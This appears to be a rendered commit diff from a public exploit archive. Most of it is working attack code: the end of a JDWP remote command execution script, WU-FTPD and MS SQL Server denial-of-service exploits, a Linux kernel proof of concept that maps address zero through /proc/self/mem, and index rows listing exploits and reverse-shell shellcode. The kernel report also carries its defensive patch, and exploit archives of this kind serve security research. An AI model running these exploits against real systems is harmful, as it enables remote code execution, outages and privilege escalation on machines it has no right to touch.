data = [ (MODKIND_LOCATIONONLY, loc), ]
rId = jdwp.send_event( EVENT_BREAKPOINT, *data )
print ("[+] Created break event id=%x" % rId)
# 4. resume vm and wait for event
jdwp.resumevm()
print ("[+] Waiting for an event on '%s'" % args.break_on)
while True:
buf = jdwp.wait_for_event()
ret = jdwp.parse_event_breakpoint(buf, rId)
if ret is not None:
break
rId, tId, loc = ret
print ("[+] Received matching event from thread %#x" % tId)
jdwp.clear_event(EVENT_BREAKPOINT, rId)
# 5. Now we can execute any code
if args.cmd:
runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd)
else:
# by default, only prints out few system properties
runtime_exec_info(jdwp, tId)
jdwp.resumevm()
print ("[!] Command successfully executed")
return True
def runtime_exec_info(jdwp, threadId):
#
# This function calls java.lang.System.getProperties() and
# displays OS properties (non-intrusive)
#
properties = {"java.version": "Java Runtime Environment version",
"java.vendor": "Java Runtime Environment vendor",
"java.vendor.url": "Java vendor URL",
"java.home": "Java installation directory",
"java.vm.specification.version": "Java Virtual Machine specification version",
"java.vm.specification.vendor": "Java Virtual Machine specification vendor",
"java.vm.specification.name": "Java Virtual Machine specification name",
"java.vm.version": "Java Virtual Machine implementation version",
"java.vm.vendor": "Java Virtual Machine implementation vendor",
"java.vm.name": "Java Virtual Machine implementation name",
"java.specification.version": "Java Runtime Environment specification version",
"java.specification.vendor": "Java Runtime Environment specification vendor",
"java.specification.name": "Java Runtime Environment specification name",
"java.class.version": "Java class format version number",
"java.class.path": "Java class path",
"java.library.path": "List of paths to search when loading libraries",
"java.io.tmpdir": "Default temp file path",
"java.compiler": "Name of JIT compiler to use",
"java.ext.dirs": "Path of extension directory or directories",
"os.name": "Operating system name",
"os.arch": "Operating system architecture",
"os.version": "Operating system version",
"file.separator": "File separator",
"path.separator": "Path separator",
"user.name": "User's account name",
"user.home": "User's home directory",
"user.dir": "User's current working directory"
}
systemClass = jdwp.get_class_by_name("Ljava/lang/System;")
if systemClass is None:
print ("[-] Cannot find class java.lang.System")
return False
jdwp.get_methods(systemClass["refTypeId"])
getPropertyMeth = jdwp.get_method_by_name("getProperty")
if getPropertyMeth is None:
print ("[-] Cannot find method System.getProperty()")
return False
for propStr, propDesc in properties.iteritems():
propObjIds = jdwp.createstring(propStr)
if len(propObjIds) == 0:
print ("[-] Failed to allocate command")
return False
propObjId = propObjIds[0]["objId"]
data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propObjId), ]
buf = jdwp.invokestatic(systemClass["refTypeId"],
threadId,
getPropertyMeth["methodId"],
*data)
if buf[0] != chr(TAG_STRING):
print ("[-] %s: Unexpected returned type: expecting String" % propStr)
else:
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId))
print ("[+] Found %s '%s'" % (propDesc, res))
return True
def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command):
#
# This function will invoke command as a payload, which will be running
# with JVM privilege on host (intrusive).
#
print ("[+] Selected payload '%s'" % command)
# 1. allocating string containing our command to exec()
cmdObjIds = jdwp.createstring( command )
if len(cmdObjIds) == 0:
print ("[-] Failed to allocate command")
return False
cmdObjId = cmdObjIds[0]["objId"]
print ("[+] Command string object created id:%x" % cmdObjId)
# 2. use context to get Runtime object
buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
if rt is None:
print "[-] Failed to invoke Runtime.getRuntime()"
return False
print ("[+] Runtime.getRuntime() returned context id:%#x" % rt)
# 3. find exec() method
execMeth = jdwp.get_method_by_name("exec")
if execMeth is None:
print ("[-] Cannot find method Runtime.exec()")
return False
print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"])
# 4. call exec() in this context with the alloc-ed string
data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ]
buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
print ("[+] Runtime.exec() successful, retId=%x" % retId)
return True
def str2fqclass(s):
i = s.rfind('.')
if i == -1:
print("Cannot parse path")
sys.exit(1)
method = s[i:][1:]
classname = 'L' + s[:i].replace('.', '/') + ';'
return classname, method
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_",
formatter_class=argparse.ArgumentDefaultsHelpFormatter )
parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True)
parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port")
parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD",
default="java.net.ServerSocket.accept", help="Specify full path to method to break on")
parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND",
help="Specify command to execute remotely")
args = parser.parse_args()
classname, meth = str2fqclass(args.break_on)
setattr(args, "break_on_class", classname)
setattr(args, "break_on_method", meth)
retcode = 0
try:
cli = JDWPClient(args.target, args.port)
cli.start()
if runtime_exec(cli, args) == False:
print ("[-] Exploit failed")
retcode = 1
except KeyboardInterrupt:
print ("[+] Exiting on user's request")
except Exception as e:
print ("[-] Exception: %s" % e)
retcode = 1
cli = None
finally:
if cli:
cli.leave()
sys.exit(retcode)

View file

@ -1,13 +1,13 @@
/*
* (c) Rosiello Security
* (c) Rosiello Security
*
* Copyright Rosiello Security 2003
* All Rights reserved.
* All Rights reserved.
*
* Tested on Red Hat 9.0
*
* Author: Angelo Rosiello
* Mail : angelo rosiello org
* Mail : angelo rosiello org
* This software is only for educational purpose.
* Do not use it against machines different from yours.
* Respect law.
@ -29,9 +29,9 @@ int main( int argc, char **argv )
char user[30], password[30], ch;
struct sockaddr_in server_addr;
fprintf( stdout, "\n(c) Rosiello Security 2003\n" );
fprintf( stdout, "http://www.rosiello.org\n" );
fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" );
fprintf( stdout, "\n(c) Rosiello Security 2003\n" );
fprintf( stdout, "http://www.rosiello.org\n" );
fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" );
if( argc != 6 ) usage( argv[0] );
@ -47,7 +47,7 @@ int main( int argc, char **argv )
addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));
sd = socket( AF_INET, SOCK_STREAM, 0 );
error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr ));
error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr ));
if( error != 0 )
{
perror( "Something wrong with the connection" );
@ -55,10 +55,10 @@ int main( int argc, char **argv )
}
while ( ch != '\n' )
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}
ch = '\0';
@ -76,12 +76,12 @@ int main( int argc, char **argv )
ch = '\0';
send( sd, password, strlen( password ), 0 );
while ( ch != '\n' )
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}
send( sd, password, strlen( password ), 0 );
while ( ch != '\n' )
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}
printf( "Sending the DoS query\n" );
for( i=0; i<loop; i++ )
@ -95,15 +95,15 @@ int main( int argc, char **argv )
void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
address -> sin_family = AF_INET;
address -> sin_port = htons((u_short)port);
address -> sin_addr.s_addr = IPaddr;
address -> sin_family = AF_INET;
address -> sin_port = htons((u_short)port);
address -> sin_addr.s_addr = IPaddr;
}
void usage( char *program )
{
fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", program);
exit(0);
exit(0);
}

View file

@ -0,0 +1,112 @@
By following the codepath that Andrea Arcangeli pointed out in his mails
regarding the last bug I reported, I noticed that it is possible for userspace
on a normal distro to map virtual address 0, which on an X86 system without SMAP
enables the exploitation of kernel NULL pointer dereferences.
The problem is in the following code path:
mem_write -> mem_rw -> access_remote_vm -> __access_remote_vm
-> get_user_pages_remote -> __get_user_pages_locked -> __get_user_pages
-> find_extend_vma
Then, if the VMA in question has the VM_GROWSDOWN flag set:
expand_stack -> expand_downwards -> security_mmap_addr -> cap_mmap_addr
This, if the address is below dac_mmap_min_addr, does a capability check:
ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO,
SECURITY_CAP_AUDIT);
But this check is performed against current_cred(), which are the creds of the
task doing the write(), not the creds of the task whose VMA is being changed.
To reproduce:
===============================================================
user@deb10:~/stackexpand$ cat nullmap.c
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
int main(void) {
void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (map == MAP_FAILED) err(1, "mmap");
int fd = open("/proc/self/mem", O_RDWR);
if (fd == -1) err(1, "open");
unsigned long addr = (unsigned long)map;
while (addr != 0) {
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
char cmd[1000];
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
system(cmd);
}
system("head -n1 /proc/$PPID/maps");
printf("data at NULL: 0x%lx\n", *(unsigned long *)0);
}
user@deb10:~/stackexpand$ gcc -o nullmap nullmap.c && ./nullmap
00000000-00011000 rw-p 00000000 00:00 0
data at NULL: 0x706f2064696c6156
user@deb10:~/stackexpand$
===============================================================
I would like it if we could just get rid of the "you can map NULL if you're
root" thing, but we probably don't want to unconditionally do that as a
backported fix.
Is there any chance that someone is legitimately using a stack that grows down
and is located in the restricted address space range? Does DOSEMU rely on stack
expansion? If not, maybe we could just change expand_downwards() to always
reject expansion below dac_mmap_min_addr no matter who you are?
A quick grep for "GROWSDOWN" in the DOSEMU sources has no results...
So, how about this patch? (Copy attached with proper indent.)
===============================================================
From a237de4f41ccddf9c31935c68af4589735c8348d Mon Sep 17 00:00:00 2001
From: Jann Horn <jannh@google.com>
Date: Wed, 27 Feb 2019 21:29:52 +0100
Subject: [PATCH] mm: enforce min addr even if capable() in expand_downwards()
security_mmap_addr() does a capability check with current_cred(), but we
can reach this code from contexts like a VFS write handler where
current_cred() must not be used.
This can be abused on systems without SMAP to make NULL pointer
dereferences exploitable again.
Fixes: 8869477a49c3 ("security: protect from stack expantion into low vm addresses")
Cc: stable@kernel.org
Signed-off-by: Jann Horn <jannh@google.com>
---
mm/mmap.c | 7 +++----
1 file changed, 3 insertions(+), 4 deletions(-)
diff --git a/mm/mmap.c b/mm/mmap.c
index f901065c4c64..fc1809b1bed6 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -2426,12 +2426,11 @@ int expand_downwards(struct vm_area_struct *vma,
{
struct mm_struct *mm = vma->vm_mm;
struct vm_area_struct *prev;
- int error;
+ int error = 0;
address &= PAGE_MASK;
- error = security_mmap_addr(address);
- if (error)
- return error;
+ if (address < mmap_min_addr)
+ return -EPERM;
/* Enforce stack_guard_gap */
prev = vma->vm_prev;
--
2.21.0.rc2.261.ga7da99ff1b-goog
===============================================================

View file

@ -1,8 +1,8 @@
////////////////////////////////////////////////////////////////
//
// Microsoft SQL Server DoS Remote Exploit (MS03-031)
// By refdom of xfocus
//
//
// Microsoft SQL Server DoS Remote Exploit (MS03-031)
// By refdom of xfocus
//
////////////////////////////////////////////////////////////////
#include <stdio.h>
@ -43,7 +43,7 @@ int main(int argc, char* argv[])
if (argc != 3)
goto Exit0;
if (strlen(argv[1]) < 20)
{
sprintf(lpPipeName, "\\\\%s\\\\.\\pipe\\sql\\query", argv[1]);
@ -68,10 +68,10 @@ int main(int argc, char* argv[])
*lpBuffer = '\x12';
*(lpBuffer + 1) = '\x01';
*(lpBuffer + 2) = '\x00';
printf("Connecting Server...\n");
hPipe = CreateFile(lpPipeName,
hPipe = CreateFile(lpPipeName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
@ -84,17 +84,17 @@ int main(int argc, char* argv[])
goto Exit0;
}
dwMode = PIPE_READMODE_MESSAGE;
bResult = SetNamedPipeHandleState(
hPipe, // pipe handle
&dwMode, // new pipe mode
NULL, // don't set maximum bytes
NULL); // don't set maximum time
if (!bResult)
{
dwMode = PIPE_READMODE_MESSAGE;
bResult = SetNamedPipeHandleState(
hPipe, // pipe handle
&dwMode, // new pipe mode
NULL, // don't set maximum bytes
NULL); // don't set maximum time
if (!bResult)
{
printf("Error!SetNamedPipeHandleState.%d\n", GetLastError());
goto Exit0;
}
}
bResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten, NULL);
@ -106,7 +106,7 @@ int main(int argc, char* argv[])
}
Exit0:
return 0;
}

View file

@ -6349,6 +6349,9 @@ id,file,description,date,author,type,platform,port
46476,exploits/multiple/dos/46476.txt,"tcpdump < 4.9.3 - Multiple Heap-Based Out-of-Bounds Reads",2019-03-01,"Google Security Research",dos,multiple,
46477,exploits/linux/dos/46477.txt,"Linux < 4.14.103 / < 4.19.25 - Out-of-Bounds Read and Write in SNMP NAT Module",2019-03-01,"Google Security Research",dos,linux,
46478,exploits/macos/dos/46478.txt,"macOS XNU - Copy-on-Write Behavior Bypass via Mount of User-Owned Filesystem Image",2019-03-01,"Google Security Research",dos,macos,
46502,exploits/linux/dos/46502.txt,"Linux < 4.20.14 - Virtual Address 0 is Mappable via Privileged write() to /proc/*/mem",2019-03-06,"Google Security Research",dos,linux,
46503,exploits/android/dos/46503.txt,"Android - binder Use-After-Free via racy Initialization of ->allow_user_free",2019-03-06,"Google Security Research",dos,android,
46504,exploits/android/dos/46504.txt,"Android - getpidcon() Usage in Hardware binder ServiceManager Permits ACL Bypass",2019-03-06,"Google Security Research",dos,android,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -17229,6 +17232,7 @@ id,file,description,date,author,type,platform,port
46436,exploits/hardware/remote/46436.rb,"Belkin Wemo UPnP - Remote Code Execution (Metasploit)",2019-02-20,Metasploit,remote,hardware,
46444,exploits/hardware/remote/46444.txt,"MikroTik RouterOS < 6.43.12 (stable) / < 6.42.12 (long-term) - Firewall and NAT Bypass",2019-02-21,"Jacob Baines",remote,hardware,
46449,exploits/windows/remote/46449.rb,"Nuuo Central Management - Authenticated SQL Server SQL Injection (Metasploit)",2019-02-22,Metasploit,remote,windows,5180
46501,exploits/java/remote/46501.py,"Java Debug Wire Protocol (JDWP) - Remote Code Execution",2016-12-20,IOactive,remote,java,
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,

Can't render this file because it is too large.

View file

@ -948,4 +948,4 @@ id,file,description,date,author,type,platform
46395,shellcodes/macos/46395.c,"macOS - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (103 bytes)",2019-02-18,"Ken Kitahara",shellcode,macos
46396,shellcodes/macos/46396.c,"macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes)",2019-02-18,"Ken Kitahara",shellcode,macos
46397,shellcodes/macos/46397.c,"macOS - execve(/bin/sh) + Null-Free Shellcode (31 bytes)",2019-02-18,"Ken Kitahara",shellcode,macos
46499,shellcodes/linux_x86/46499.c,"Linux/x86 - XOR Encoder / Decoder execve() /bin/sh Shellcode (45 bytes)",2019-03-05,"Daniele Votta",shellcode,linux_x86
46499,shellcodes/linux_x86/46499.c,"Linux/x86 - XOR Encoder / Decoder execve(/bin/sh) Shellcode (45 bytes)",2019-03-05,"Daniele Votta",shellcode,linux_x86

1 id file description date author type platform
948 46395 shellcodes/macos/46395.c macOS - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (103 bytes) 2019-02-18 Ken Kitahara shellcode macos
949 46396 shellcodes/macos/46396.c macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes) 2019-02-18 Ken Kitahara shellcode macos
950 46397 shellcodes/macos/46397.c macOS - execve(/bin/sh) + Null-Free Shellcode (31 bytes) 2019-02-18 Ken Kitahara shellcode macos
951 46499 shellcodes/linux_x86/46499.c Linux/x86 - XOR Encoder / Decoder execve() /bin/sh Shellcode (45 bytes) Linux/x86 - XOR Encoder / Decoder execve(/bin/sh) Shellcode (45 bytes) 2019-03-05 Daniele Votta shellcode linux_x86